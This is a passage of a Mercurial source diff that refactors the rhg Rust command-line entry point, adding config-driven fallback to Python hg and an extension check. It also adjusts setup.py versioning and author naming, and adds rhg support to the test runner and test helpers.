.subcommand( - SubCommand::with_name("debugdata") - .about(commands::debugdata::HELP_TEXT) - .arg( - Arg::with_name("changelog") - .help("open changelog") - .short("-c") - .long("--changelog"), - ) - .arg( - Arg::with_name("manifest") - .help("open manifest") - .short("-m") - .long("--manifest"), + .version("0.0.1"); + let app = add_subcommand_args(app); + + let matches = app.clone().get_matches_safe()?; + + let (subcommand_name, subcommand_matches) = matches.subcommand(); + let run = subcommand_run_fn(subcommand_name) + .expect("unknown subcommand name from clap despite AppSettings::SubcommandRequired"); + let subcommand_args = subcommand_matches + .expect("no subcommand arguments from clap despite AppSettings::SubcommandRequired"); + + let invocation = CliInvocation { + ui, + subcommand_args, + config, + repo, + }; + let blackbox = blackbox::Blackbox::new(&invocation, process_start_time)?; + blackbox.log_command_start(); + let result = run(&invocation); + blackbox.log_command_end(exit_code( + &result, + // TODO: show a warning or combine with original error if `get_bool` + // returns an error + config + .get_bool(b"ui", b"detailed-exit-code") + .unwrap_or(false), + )); + result +} + +fn main() { + // Run this first, before we find out if the blackbox extension is even + // enabled, in order to include everything in-between in the duration + // measurements. Reading config files can be slow if they’re on NFS. + let process_start_time = blackbox::ProcessStartTime::now(); + + env_logger::init(); + let ui = ui::Ui::new(); + + let early_args = EarlyArgs::parse(std::env::args_os()); + + let initial_current_dir = early_args.cwd.map(|cwd| { + let cwd = get_path_from_bytes(&cwd); + std::env::current_dir() + .and_then(|initial| { + std::env::set_current_dir(cwd)?; + Ok(initial) + }) + .unwrap_or_else(|error| { + exit( + &None, + &ui, + OnUnsupported::Abort, + Err(CommandError::abort(format!( + "abort: {}: '{}'", + error, + cwd.display() + ))), + false, ) - .group( - ArgGroup::with_name("") - .args(&["changelog", "manifest"]) - .required(true), - ) - .arg( - Arg::with_name("rev") - .help("revision") - .required(true) - .value_name("REV"), - ), - ) - .subcommand( - SubCommand::with_name("debugrequirements") - .about(commands::debugrequirements::HELP_TEXT), - ); - - let matches = app.clone().get_matches_safe().unwrap_or_else(|err| { - let _ = ui::Ui::new().writeln_stderr_str(&err.message); - std::process::exit(exitcode::UNIMPLEMENTED_COMMAND) + }) }); - let ui = ui::Ui::new(); + let non_repo_config = + Config::load(early_args.config).unwrap_or_else(|error| { + // Normally this is decided based on config, but we don’t have that + // available. As of this writing config loading never returns an + // "unsupported" error but that is not enforced by the type system. + let on_unsupported = OnUnsupported::Abort; - let command_result = match_subcommand(matches, &ui); + exit( + &initial_current_dir, + &ui, + on_unsupported, + Err(error.into()), + false, + ) + }); - match command_result { - Ok(_) => std::process::exit(exitcode::OK), - Err(e) => { - let message = e.get_error_message_bytes(); - if let Some(msg) = message { - match ui.write_stderr(&msg) { - Ok(_) => (), - Err(_) => std::process::exit(exitcode::ABORT), - }; - }; - e.exit() + if let Some(repo_path_bytes) = &early_args.repo { + lazy_static::lazy_static! { + static ref SCHEME_RE: regex::bytes::Regex = + // Same as `_matchscheme` in `mercurial/util.py` + regex::bytes::Regex::new("^[a-zA-Z0-9+.\\-]+:").unwrap(); + } + if SCHEME_RE.is_match(&repo_path_bytes) { + exit( + &initial_current_dir, + &ui, + OnUnsupported::from_config(&ui, &non_repo_config), + Err(CommandError::UnsupportedFeature { + message: format_bytes!( + b"URL-like --repository {}", + repo_path_bytes + ), + }), + // TODO: show a warning or combine with original error if + // `get_bool` returns an error + non_repo_config + .get_bool(b"ui", b"detailed-exit-code") + .unwrap_or(false), + ) + } + } + let repo_path = early_args.repo.as_deref().map(get_path_from_bytes); + let repo_result = match Repo::find(&non_repo_config, repo_path) { + Ok(repo) => Ok(repo), + Err(RepoError::NotFound { at }) if repo_path.is_none() => { + // Not finding a repo is not fatal yet, if `-R` was not given + Err(NoRepoInCwdError { cwd: at }) + } + Err(error) => exit( + &initial_current_dir, + &ui, + OnUnsupported::from_config(&ui, &non_repo_config), + Err(error.into()), + // TODO: show a warning or combine with original error if + // `get_bool` returns an error + non_repo_config + .get_bool(b"ui", b"detailed-exit-code") + .unwrap_or(false), + ), + }; + + let config = if let Ok(repo) = &repo_result { + repo.config() + } else { + &non_repo_config + }; + let on_unsupported = OnUnsupported::from_config(&ui, config); + + let result = main_with_result( + &process_start_time, + &ui, + repo_result.as_ref(), + config, + ); + exit( + &initial_current_dir, + &ui, + on_unsupported, + result, + // TODO: show a warning or combine with original error if `get_bool` + // returns an error + config + .get_bool(b"ui", b"detailed-exit-code") + .unwrap_or(false), + ) +} + +fn exit_code( + result: &Result<(), CommandError>, + use_detailed_exit_code: bool, +) -> i32 { + match result { + Ok(()) => exitcode::OK, + Err(CommandError::Abort { + message: _, + detailed_exit_code, + }) => { + if use_detailed_exit_code { + *detailed_exit_code + } else { + exitcode::ABORT + } + } + Err(CommandError::Unsuccessful) => exitcode::UNSUCCESSFUL, + + // Exit with a specific code and no error message to let a potential + // wrapper script fallback to Python-based Mercurial. + Err(CommandError::UnsupportedFeature { .. }) => { + exitcode::UNIMPLEMENTED } } } -fn match_subcommand( - matches: ArgMatches, - ui: &ui::Ui, -) -> Result<(), CommandError> { - match matches.subcommand() { - ("root", _) => commands::root::RootCommand::new().run(&ui), - ("files", Some(matches)) => { - commands::files::FilesCommand::try_from(matches)?.run(&ui) +fn exit( + initial_current_dir: &Option, + ui: &Ui, + mut on_unsupported: OnUnsupported, + result: Result<(), CommandError>, + use_detailed_exit_code: bool, +) -> ! { + if let ( + OnUnsupported::Fallback { executable }, + Err(CommandError::UnsupportedFeature { .. }), + ) = (&on_unsupported, &result) + { + let mut args = std::env::args_os(); + let executable_path = get_path_from_bytes(&executable); + let this_executable = args.next().expect("exepcted argv[0] to exist"); + if executable_path == &PathBuf::from(this_executable) { + // Avoid spawning infinitely many processes until resource + // exhaustion. + let _ = ui.write_stderr(&format_bytes!( + b"Blocking recursive fallback. The 'rhg.fallback-executable = {}' config \ + points to `rhg` itself.\n", + executable + )); + on_unsupported = OnUnsupported::Abort + } else { + // `args` is now `argv[1..]` since we’ve already consumed `argv[0]` + let mut command = Command::new(executable_path); + command.args(args); + if let Some(initial) = initial_current_dir { + command.current_dir(initial); + } + let result = command.status(); + match result { + Ok(status) => std::process::exit( + status.code().unwrap_or(exitcode::ABORT), + ), + Err(error) => { + let _ = ui.write_stderr(&format_bytes!( + b"tried to fall back to a '{}' sub-process but got error {}\n", + executable, format_bytes::Utf8(error) + )); + on_unsupported = OnUnsupported::Abort + } + } } - ("cat", Some(matches)) => { - commands::cat::CatCommand::try_from(matches)?.run(&ui) - } - ("debugdata", Some(matches)) => { - commands::debugdata::DebugDataCommand::try_from(matches)?.run(&ui) + } + exit_no_fallback(ui, on_unsupported, result, use_detailed_exit_code) +} + +fn exit_no_fallback( + ui: &Ui, + on_unsupported: OnUnsupported, + result: Result<(), CommandError>, + use_detailed_exit_code: bool, +) -> ! { + match &result { + Ok(_) => {} + Err(CommandError::Unsuccessful) => {} + Err(CommandError::Abort { + message, + detailed_exit_code: _, + }) => { + if !message.is_empty() { + // Ignore errors when writing to stderr, we’re already exiting + // with failure code so there’s not much more we can do. + let _ = ui.write_stderr(&format_bytes!(b"{}\n", message)); + } } - ("debugrequirements", _) => { - commands::debugrequirements::DebugRequirementsCommand::new() - .run(&ui) + Err(CommandError::UnsupportedFeature { message }) => { + match on_unsupported { + OnUnsupported::Abort => { + let _ = ui.write_stderr(&format_bytes!( + b"unsupported feature: {}\n", + message + )); + } + OnUnsupported::AbortSilent => {} + OnUnsupported::Fallback { .. } => unreachable!(), + } } - _ => unreachable!(), // Because of AppSettings::SubcommandRequired, } + std::process::exit(exit_code(&result, use_detailed_exit_code)) } -impl<'a> TryFrom<&'a ArgMatches<'_>> for commands::files::FilesCommand<'a> { - type Error = CommandError; +macro_rules! subcommands { + ($( $command: ident )+) => { + mod commands { + $( + pub mod $command; + )+ + } + + fn add_subcommand_args<'a, 'b>(app: App<'a, 'b>) -> App<'a, 'b> { + app + $( + .subcommand(commands::$command::args()) + )+ + } + + pub type RunFn = fn(&CliInvocation) -> Result<(), CommandError>; + + fn subcommand_run_fn(name: &str) -> Option { + match name { + $( + stringify!($command) => Some(commands::$command::run), + )+ + _ => None, + } + } + }; +} + +subcommands! { + cat + debugdata + debugrequirements + files + root + config + status +} + +pub struct CliInvocation<'a> { + ui: &'a Ui, + subcommand_args: &'a ArgMatches<'a>, + config: &'a Config, + /// References inside `Result` is a bit peculiar but allow + /// `invocation.repo?` to work out with `&CliInvocation` since this + /// `Result` type is `Copy`. + repo: Result<&'a Repo, &'a NoRepoInCwdError>, +} + +struct NoRepoInCwdError { + cwd: PathBuf, +} - fn try_from(args: &'a ArgMatches) -> Result { - let rev = args.value_of("rev"); - Ok(commands::files::FilesCommand::new(rev)) +/// CLI arguments to be parsed "early" in order to be able to read +/// configuration before using Clap. Ideally we would also use Clap for this, +/// see . +/// +/// These arguments are still declared when we do use Clap later, so that Clap +/// does not return an error for their presence. +struct EarlyArgs { + /// Values of all `--config` arguments. (Possibly none) + config: Vec>, + /// Value of the `-R` or `--repository` argument, if any. + repo: Option>, + /// Value of the `--cwd` argument, if any. + cwd: Option>, +} + +impl EarlyArgs { + fn parse(args: impl IntoIterator) -> Self { + let mut args = args.into_iter().map(get_bytes_from_os_str); + let mut config = Vec::new(); + let mut repo = None; + let mut cwd = None; + // Use `while let` instead of `for` so that we can also call + // `args.next()` inside the loop. + while let Some(arg) = args.next() { + if arg == b"--config" { + if let Some(value) = args.next() { + config.push(value) + } + } else if let Some(value) = arg.drop_prefix(b"--config=") { + config.push(value.to_owned()) + } + + if arg == b"--cwd" { + if let Some(value) = args.next() { + cwd = Some(value) + } + } else if let Some(value) = arg.drop_prefix(b"--cwd=") { + cwd = Some(value.to_owned()) + } + + if arg == b"--repository" || arg == b"-R" { + if let Some(value) = args.next() { + repo = Some(value) + } + } else if let Some(value) = arg.drop_prefix(b"--repository=") { + repo = Some(value.to_owned()) + } else if let Some(value) = arg.drop_prefix(b"-R") { + repo = Some(value.to_owned()) + } + } + Self { config, repo, cwd } } } -impl<'a> TryFrom<&'a ArgMatches<'_>> for commands::cat::CatCommand<'a> { - type Error = CommandError; +/// What to do when encountering some unsupported feature. +/// +/// See `HgError::UnsupportedFeature` and `CommandError::UnsupportedFeature`. +enum OnUnsupported { + /// Print an error message describing what feature is not supported, + /// and exit with code 252. + Abort, + /// Silently exit with code 252. + AbortSilent, + /// Try running a Python implementation + Fallback { executable: Vec }, +} + +impl OnUnsupported { + const DEFAULT: Self = OnUnsupported::Abort; - fn try_from(args: &'a ArgMatches) -> Result { - let rev = args.value_of("rev"); - let files = match args.values_of("files") { - Some(files) => files.collect(), - None => vec![], - }; - Ok(commands::cat::CatCommand::new(rev, files)) + fn from_config(ui: &Ui, config: &Config) -> Self { + match config + .get(b"rhg", b"on-unsupported") + .map(|value| value.to_ascii_lowercase()) + .as_deref() + { + Some(b"abort") => OnUnsupported::Abort, + Some(b"abort-silent") => OnUnsupported::AbortSilent, + Some(b"fallback") => OnUnsupported::Fallback { + executable: config + .get(b"rhg", b"fallback-executable") + .unwrap_or_else(|| { + exit_no_fallback( + ui, + Self::Abort, + Err(CommandError::abort( + "abort: 'rhg.on-unsupported=fallback' without \ + 'rhg.fallback-executable' set." + )), + false, + ) + }) + .to_owned(), + }, + None => Self::DEFAULT, + Some(_) => { + // TODO: warn about unknown config value + Self::DEFAULT + } + } } } -impl<'a> TryFrom<&'a ArgMatches<'_>> - for commands::debugdata::DebugDataCommand<'a> -{ - type Error = CommandError; +const SUPPORTED_EXTENSIONS: &[&[u8]] = &[b"blackbox", b"share"]; + +fn check_extensions(config: &Config) -> Result<(), CommandError> { + let enabled = config.get_section_keys(b"extensions"); + + let mut unsupported = enabled; + for supported in SUPPORTED_EXTENSIONS { + unsupported.remove(supported); + } - fn try_from(args: &'a ArgMatches) -> Result { - let rev = args - .value_of("rev") - .expect("rev should be a required argument"); - let kind = match ( - args.is_present("changelog"), - args.is_present("manifest"), - ) { - (true, false) => DebugDataKind::Changelog, - (false, true) => DebugDataKind::Manifest, - (true, true) => { - unreachable!("Should not happen since options are exclusive") - } - (false, false) => { - unreachable!("Should not happen since options are required") - } - }; - Ok(commands::debugdata::DebugDataCommand::new(rev, kind)) + if let Some(ignored_list) = + config.get_simple_list(b"rhg", b"ignored-extensions") + { + for ignored in ignored_list { + unsupported.remove(ignored); + } + } + + if unsupported.is_empty() { + Ok(()) + } else { + Err(CommandError::UnsupportedFeature { + message: format_bytes!( + b"extensions: {} (consider adding them to 'rhg.ignored-extensions' config)", + join(unsupported, b", ") + ), + }) } } diff -r bc268ea9f984 -r f67b8946bb1b rust/rhg/src/ui.rs --- a/rust/rhg/src/ui.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/rhg/src/ui.rs Tue Apr 20 11:01:06 2021 -0400 @@ -49,11 +49,6 @@ stderr.flush().or_else(handle_stderr_error) } - - /// Write string line to stderr - pub fn writeln_stderr_str(&self, s: &str) -> Result<(), UiError> { - self.write_stderr(&format!("{}\n", s).as_bytes()) - } } /// A buffered stdout writer for faster batch printing operations. diff -r bc268ea9f984 -r f67b8946bb1b setup.py --- a/setup.py Thu Mar 25 19:06:28 2021 -0400 +++ b/setup.py Tue Apr 20 11:01:06 2021 -0400 @@ -419,9 +419,9 @@ ltag = sysstr(hg.run(ltagcmd)) changessincecmd = ['log', '-T', 'x\n', '-r', "only(.,'%s')" % ltag] changessince = len(hg.run(changessincecmd).splitlines()) - version = '%s+%s-%s' % (ltag, changessince, hgid) + version = '%s+hg%s.%s' % (ltag, changessince, hgid) if version.endswith('+'): - version += time.strftime('%Y%m%d') + version = version[:-1] + 'local' + time.strftime('%Y%m%d') elif os.path.exists('.hg_archival.txt'): kw = dict( [[t.strip() for t in l.split(':', 1)] for l in open('.hg_archival.txt')] @@ -430,11 +430,13 @@ version = kw['tag'] elif 'latesttag' in kw: if 'changessincelatesttag' in kw: - version = '%(latesttag)s+%(changessincelatesttag)s-%(node).12s' % kw + version = ( + '%(latesttag)s+hg%(changessincelatesttag)s.%(node).12s' % kw + ) else: - version = '%(latesttag)s+%(latesttagdistance)s-%(node).12s' % kw + version = '%(latesttag)s+hg%(latesttagdistance)s.%(node).12s' % kw else: - version = kw.get('node', '')[:12] + version = '0+hg' + kw.get('node', '')[:12] if version: versionb = version @@ -451,20 +453,6 @@ ), ) -try: - oldpolicy = os.environ.get('HGMODULEPOLICY', None) - os.environ['HGMODULEPOLICY'] = 'py' - from mercurial import __version__ - - version = __version__.version -except ImportError: - version = b'unknown' -finally: - if oldpolicy is None: - del os.environ['HGMODULEPOLICY'] - else: - os.environ['HGMODULEPOLICY'] = oldpolicy - class hgbuild(build): # Insert hgbuildmo first so that files in mercurial/locale/ are found @@ -609,6 +597,12 @@ # and its build is not explictely disabled (for external build # as Linux distributions would do) if self.distribution.rust and self.rust: + if not sys.platform.startswith('linux'): + self.warn( + "rust extensions have only been tested on Linux " + "and may not behave correctly on other platforms" + ) + for rustext in ruststandalones: rustext.build('' if self.inplace else self.build_lib) @@ -823,6 +817,22 @@ if not os.path.exists(dest): shutil.copy(buf.value, dest) + # Also overwrite python3.dll so that hgext.git is usable. + # TODO: also handle the MSYS flavor + if sys.version_info[0] >= 3: + python_x = os.path.join( + os.path.dirname(fsdecode(buf.value)), + "python3.dll", + ) + + if os.path.exists(python_x): + dest = os.path.join( + os.path.dirname(self.hgtarget), + os.path.basename(python_x), + ) + + shutil.copy(python_x, dest) + if not pythonlib: log.warn( 'could not determine Python DLL filename; assuming pythonXY' @@ -1677,8 +1687,8 @@ # unicode on Python 2 still works because it won't contain any # non-ascii bytes and will be implicitly converted back to bytes # when operated on. -assert isinstance(version, bytes) -setupversion = version.decode('ascii') +assert isinstance(version, str) +setupversion = version extra = {} @@ -1706,7 +1716,7 @@ extra['console'] = [ { 'script': 'hg', - 'copyright': 'Copyright (C) 2005-2021 Matt Mackall and others', + 'copyright': 'Copyright (C) 2005-2021 Olivia Mackall and others', 'product_version': version, } ] @@ -1782,7 +1792,7 @@ setup( name='mercurial', version=setupversion, - author='Matt Mackall and many others', + author='Olivia Mackall and many others', author_email='mercurial@mercurial-scm.org', url='https://mercurial-scm.org/', download_url='https://mercurial-scm.org/release/', diff -r bc268ea9f984 -r f67b8946bb1b tests/common-pattern.py --- a/tests/common-pattern.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/common-pattern.py Tue Apr 20 11:01:06 2021 -0400 @@ -20,7 +20,6 @@ br'phases%253Dheads%250A' br'pushkey%250A' br'remote-changegroup%253Dhttp%252Chttps%250A' - br'rev-branch-cache%250A' br'stream%253Dv2', # (the replacement patterns) br'$USUAL_BUNDLE_CAPS$', @@ -53,7 +52,6 @@ br'phases%3Dheads%0A' br'pushkey%0A' br'remote-changegroup%3Dhttp%2Chttps%0A' - br'rev-branch-cache%0A' br'stream%3Dv2', # (replacement patterns) br'$USUAL_BUNDLE2_CAPS$', @@ -70,8 +68,7 @@ br'listkeys%0A' br'phases%3Dheads%0A' br'pushkey%0A' - br'remote-changegroup%3Dhttp%2Chttps%0A' - br'rev-branch-cache', + br'remote-changegroup%3Dhttp%2Chttps', # (replacement patterns) br'$USUAL_BUNDLE2_CAPS_SERVER$', ), @@ -85,7 +82,6 @@ br'listkeys%0A' br'pushkey%0A' br'remote-changegroup%3Dhttp%2Chttps%0A' - br'rev-branch-cache%0A' br'stream%3Dv2', # (replacement patterns) br'$USUAL_BUNDLE2_CAPS_NO_PHASES$', diff -r bc268ea9f984 -r f67b8946bb1b tests/flagprocessorext.py --- a/tests/flagprocessorext.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/flagprocessorext.py Tue Apr 20 11:01:06 2021 -0400 @@ -31,28 +31,28 @@ return False -def noopdonothing(self, text, sidedata): +def noopdonothing(self, text): return (text, True) def noopdonothingread(self, text): - return (text, True, {}) + return (text, True) -def b64encode(self, text, sidedata): +def b64encode(self, text): return (base64.b64encode(text), False) def b64decode(self, text): - return (base64.b64decode(text), True, {}) + return (base64.b64decode(text), True) -def gzipcompress(self, text, sidedata): +def gzipcompress(self, text): return (zlib.compress(text), False) def gzipdecompress(self, text): - return (zlib.decompress(text), True, {}) + return (zlib.decompress(text), True) def supportedoutgoingversions(orig, repo): diff -r bc268ea9f984 -r f67b8946bb1b tests/hghave.py --- a/tests/hghave.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/hghave.py Tue Apr 20 11:01:06 2021 -0400 @@ -140,9 +140,22 @@ """Return the match object if cmd executes successfully and its output is matched by the supplied regular expression. """ + + # Tests on Windows have to fake USERPROFILE to point to the test area so + # that `~` is properly expanded on py3.8+. However, some tools like black + # make calls that need the real USERPROFILE in order to run `foo --version`. + env = os.environ + if os.name == 'nt': + env = os.environ.copy() + env['USERPROFILE'] = env['REALUSERPROFILE'] + r = re.compile(regexp) p = subprocess.Popen( - cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT + cmd, + shell=True, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + env=env, ) s = p.communicate()[0] ret = p.returncode @@ -188,6 +201,11 @@ return 'CHGHG' in os.environ +@check("rhg", "running with rhg as 'hg'") +def has_rhg(): + return 'RHG_INSTALLED_AS_HG' in os.environ + + @check("cvs", "cvs client/server") def has_cvs(): re = br'Concurrent Versions System.*?server' @@ -591,7 +609,7 @@ return matchoutput("pylint --help", br"Usage:[ ]+pylint", True) -@check("clang-format", "clang-format C code formatter") +@check("clang-format", "clang-format C code formatter (>= 11)") def has_clang_format(): m = matchoutput('clang-format --version', br'clang-format version (\d+)') # style changed somewhere between 10.x and 11.x @@ -702,6 +720,12 @@ return os.path.isdir(os.path.join(t, "..", ".hg")) +@check("network-io", "whether tests are allowed to access 3rd party services") +def has_test_repo(): + t = os.environ.get("HGTESTS_ALLOW_NETIO") + return t == "1" + + @check("curses", "terminfo compiler and curses module") def has_curses(): try: @@ -1034,7 +1058,7 @@ return matchoutput('sqlite3 -version', br'^3\.\d+') -@check('vcr', 'vcr http mocking library') +@check('vcr', 'vcr http mocking library (pytest-vcr)') def has_vcr(): try: import vcr @@ -1054,7 +1078,7 @@ return matchoutput('emacs --version', b'GNU Emacs 2(4.4|4.5|5|6|7|8|9)') -@check('black', 'the black formatter for python') +@check('black', 'the black formatter for python (>= 20.8b1)') def has_black(): blackcmd = 'black --version' version_regex = b'black, version ([0-9a-b.]+)' diff -r bc268ea9f984 -r f67b8946bb1b tests/logexceptions.py --- a/tests/logexceptions.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/logexceptions.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # logexceptions.py - Write files containing info about Mercurial exceptions # -# Copyright 2017 Matt Mackall +# Copyright 2017 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b tests/remotefilelog-getflogheads.py --- a/tests/remotefilelog-getflogheads.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/remotefilelog-getflogheads.py Tue Apr 20 11:01:06 2021 -0400 @@ -5,6 +5,9 @@ hg, registrar, ) +from mercurial.utils import ( + urlutil, +) cmdtable = {} command = registrar.command(cmdtable) @@ -18,10 +21,13 @@ Used for testing purpose """ - dest = repo.ui.expandpath(b'default') + dest = urlutil.get_unique_pull_path(b'getflogheads', repo, ui)[0] peer = hg.peer(repo, {}, dest) - flogheads = peer.x_rfl_getflogheads(path) + try: + flogheads = peer.x_rfl_getflogheads(path) + finally: + peer.close() if flogheads: for head in flogheads: diff -r bc268ea9f984 -r f67b8946bb1b tests/run-tests.py --- a/tests/run-tests.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/run-tests.py Tue Apr 20 11:01:06 2021 -0400 @@ -2,7 +2,7 @@ # # run-tests.py - Run a set of tests on Mercurial # -# Copyright 2006 Matt Mackall +# Copyright 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -301,6 +301,7 @@ while time.time() - start < timeout and p.returncode is None: time.sleep(0.1) p.timeout = True + vlog('# Timout reached for process %d' % p.pid) if p.returncode is None: terminate(p) @@ -540,6 +541,11 @@ action="store_true", help="show chg debug logs", ) + hgconf.add_argument( + "--rhg", + action="store_true", + help="install and use rhg Rust implementation in place of hg", + ) hgconf.add_argument("--compiler", help="compiler to build with") hgconf.add_argument( '--extra-config-opt', @@ -552,6 +558,7 @@ "--local", action="store_true", help="shortcut for --with-hg=/../hg, " + "--with-rhg=/../rust/target/release/rhg if --rhg is set, " "and --with-chg=/../contrib/chg/chg if --chg is set", ) hgconf.add_argument( @@ -580,6 +587,11 @@ help="use specified chg wrapper in place of hg", ) hgconf.add_argument( + "--with-rhg", + metavar="RHG", + help="use specified rhg Rust implementation in place of hg", + ) + hgconf.add_argument( "--with-hg", metavar="HG", help="test using specified hg script rather than a " @@ -667,13 +679,17 @@ parser.error('--rust cannot be used with --no-rust') if options.local: - if options.with_hg or options.with_chg: - parser.error('--local cannot be used with --with-hg or --with-chg') + if options.with_hg or options.with_rhg or options.with_chg: + parser.error( + '--local cannot be used with --with-hg or --with-rhg or --with-chg' + ) testdir = os.path.dirname(_sys2bytes(canonpath(sys.argv[0]))) reporootdir = os.path.dirname(testdir) pathandattrs = [(b'hg', 'with_hg')] if options.chg: pathandattrs.append((b'contrib/chg/chg', 'with_chg')) + if options.rhg: + pathandattrs.append((b'rust/target/release/rhg', 'with_rhg')) for relpath, attr in pathandattrs: binpath = os.path.join(reporootdir, relpath) if os.name != 'nt' and not os.access(binpath, os.X_OK): @@ -696,6 +712,8 @@ if (options.chg or options.with_chg) and os.name == 'nt': parser.error('chg does not work on %s' % os.name) + if (options.rhg or options.with_rhg) and os.name == 'nt': + parser.error('rhg does not work on %s' % os.name) if options.with_chg: options.chg = False # no installation to temporary location options.with_chg = canonpath(_sys2bytes(options.with_chg)) @@ -704,12 +722,28 @@ and os.access(options.with_chg, os.X_OK) ): parser.error('--with-chg must specify a chg executable') + if options.with_rhg: + options.rhg = False # no installation to temporary location + options.with_rhg = canonpath(_sys2bytes(options.with_rhg)) + if not ( + os.path.isfile(options.with_rhg) + and os.access(options.with_rhg, os.X_OK) + ): + parser.error('--with-rhg must specify a rhg executable') if options.chg and options.with_hg: # chg shares installation location with hg parser.error( '--chg does not work when --with-hg is specified ' '(use --with-chg instead)' ) + if options.rhg and options.with_hg: + # rhg shares installation location with hg + parser.error( + '--rhg does not work when --with-hg is specified ' + '(use --with-rhg instead)' + ) + if options.rhg and options.chg: + parser.error('--rhg and --chg do not work together') if options.color == 'always' and not pygmentspresent: sys.stderr.write( @@ -1338,6 +1372,7 @@ env['TESTNAME'] = self.name env['HOME'] = _bytes2sys(self._testtmp) if os.name == 'nt': + env['REALUSERPROFILE'] = env['USERPROFILE'] # py3.8+ ignores HOME: https://bugs.python.org/issue36264 env['USERPROFILE'] = env['HOME'] formated_timeout = _bytes2sys(b"%d" % default_defaults['timeout'][1]) @@ -2278,7 +2313,7 @@ if test.path.endswith(b'.t'): rename(test.errpath, test.path) else: - rename(test.errpath, '%s.out' % test.path) + rename(test.errpath, b'%s.out' % test.path) accepted = True if not accepted: self.faildata[test.name] = b''.join(lines) @@ -3098,6 +3133,25 @@ chgbindir = os.path.dirname(os.path.realpath(self.options.with_chg)) self._hgcommand = os.path.basename(self.options.with_chg) + # configure fallback and replace "hg" command by "rhg" + rhgbindir = self._bindir + if self.options.rhg or self.options.with_rhg: + # Affects hghave.py + osenvironb[b'RHG_INSTALLED_AS_HG'] = b'1' + # Affects configuration. Alternatives would be setting configuration through + # `$HGRCPATH` but some tests override that, or changing `_hgcommand` to include + # `--config` but that disrupts tests that print command lines and check expected + # output. + osenvironb[b'RHG_ON_UNSUPPORTED'] = b'fallback' + osenvironb[b'RHG_FALLBACK_EXECUTABLE'] = os.path.join( + self._bindir, self._hgcommand + ) + if self.options.rhg: + self._hgcommand = b'rhg' + elif self.options.with_rhg: + rhgbindir = os.path.dirname(os.path.realpath(self.options.with_rhg)) + self._hgcommand = os.path.basename(self.options.with_rhg) + osenvironb[b"BINDIR"] = self._bindir osenvironb[b"PYTHON"] = PYTHON @@ -3116,6 +3170,8 @@ path.insert(2, realdir) if chgbindir != self._bindir: path.insert(1, chgbindir) + if rhgbindir != self._bindir: + path.insert(1, rhgbindir) if self._testdir != runtestdir: path = [self._testdir] + path if self._tmpbindir != self._bindir: @@ -3335,6 +3391,9 @@ if self.options.chg: assert self._installdir self._installchg() + if self.options.rhg: + assert self._installdir + self._installrhg() log( 'running %d tests using %d parallel processes' @@ -3696,6 +3755,33 @@ sys.stdout.write(out) sys.exit(1) + def _installrhg(self): + """Install rhg into the test environment""" + vlog('# Performing temporary installation of rhg') + assert os.path.dirname(self._bindir) == self._installdir + assert self._hgroot, 'must be called after _installhg()' + cmd = b'"%(make)s" install-rhg PREFIX="%(prefix)s"' % { + b'make': b'make', # TODO: switch by option or environment? + b'prefix': self._installdir, + } + cwd = self._hgroot + vlog("# Running", cmd) + proc = subprocess.Popen( + cmd, + shell=True, + cwd=cwd, + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + ) + out, _err = proc.communicate() + if proc.returncode != 0: + if PYTHON3: + sys.stdout.buffer.write(out) + else: + sys.stdout.write(out) + sys.exit(1) + def _outputcoverage(self): """Produce code coverage output.""" import coverage diff -r bc268ea9f984 -r f67b8946bb1b tests/simplestorerepo.py --- a/tests/simplestorerepo.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/simplestorerepo.py Tue Apr 20 11:01:06 2021 -0400 @@ -106,7 +106,9 @@ _flagserrorclass = simplestoreerror - def __init__(self, svfs, path): + def __init__(self, repo, svfs, path): + self.nullid = repo.nullid + self._repo = repo self._svfs = svfs self._path = path @@ -300,7 +302,7 @@ text = rawtext else: r = flagutil.processflagsread(self, rawtext, flags) - text, validatehash, sidedata = r + text, validatehash = r if validatehash: self.checkhash(text, node, rev=rev) @@ -446,6 +448,7 @@ revisiondata=False, assumehaveparentrevisions=False, deltamode=repository.CG_DELTAMODE_STD, + sidedata_helpers=None, ): # TODO this will probably break on some ordering options. nodes = [n for n in nodes if n != nullid] @@ -459,6 +462,7 @@ revisiondata=revisiondata, assumehaveparentrevisions=assumehaveparentrevisions, deltamode=deltamode, + sidedata_helpers=sidedata_helpers, ): yield delta @@ -550,7 +554,7 @@ if node in self._indexbynode: if duplicaterevisioncb: - duplicaterevisioncb(self, node) + duplicaterevisioncb(self, self.rev(node)) empty = False continue @@ -560,12 +564,12 @@ else: text = mdiff.patch(self.revision(deltabase), delta) - self._addrawrevision( + rev = self._addrawrevision( node, text, transaction, linkrev, p1, p2, flags ) if addrevisioncb: - addrevisioncb(self, node) + addrevisioncb(self, rev) empty = False return not empty @@ -687,7 +691,7 @@ class simplestorerepo(repo.__class__): def file(self, f): - return filestorage(self.svfs, f) + return filestorage(repo, self.svfs, f) repo.__class__ = simplestorerepo diff -r bc268ea9f984 -r f67b8946bb1b tests/svnxml.py --- a/tests/svnxml.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/svnxml.py Tue Apr 20 11:01:06 2021 -0400 @@ -15,6 +15,7 @@ e['revision'] = entry.getAttribute('revision') e['author'] = xmltext(entry.getElementsByTagName('author')[0]) e['msg'] = xmltext(entry.getElementsByTagName('msg')[0]) + e['date'] = xmltext(entry.getElementsByTagName('date')[0]) e['paths'] = [] paths = entry.getElementsByTagName('paths') if paths: @@ -42,7 +43,7 @@ except AttributeError: fp = sys.stdout for e in entries: - for k in ('revision', 'author', 'msg'): + for k in ('revision', 'author', 'date', 'msg'): fp.write(('%s: %s\n' % (k, e[k])).encode('utf-8')) for path, action, fpath, frev in sorted(e['paths']): frominfo = 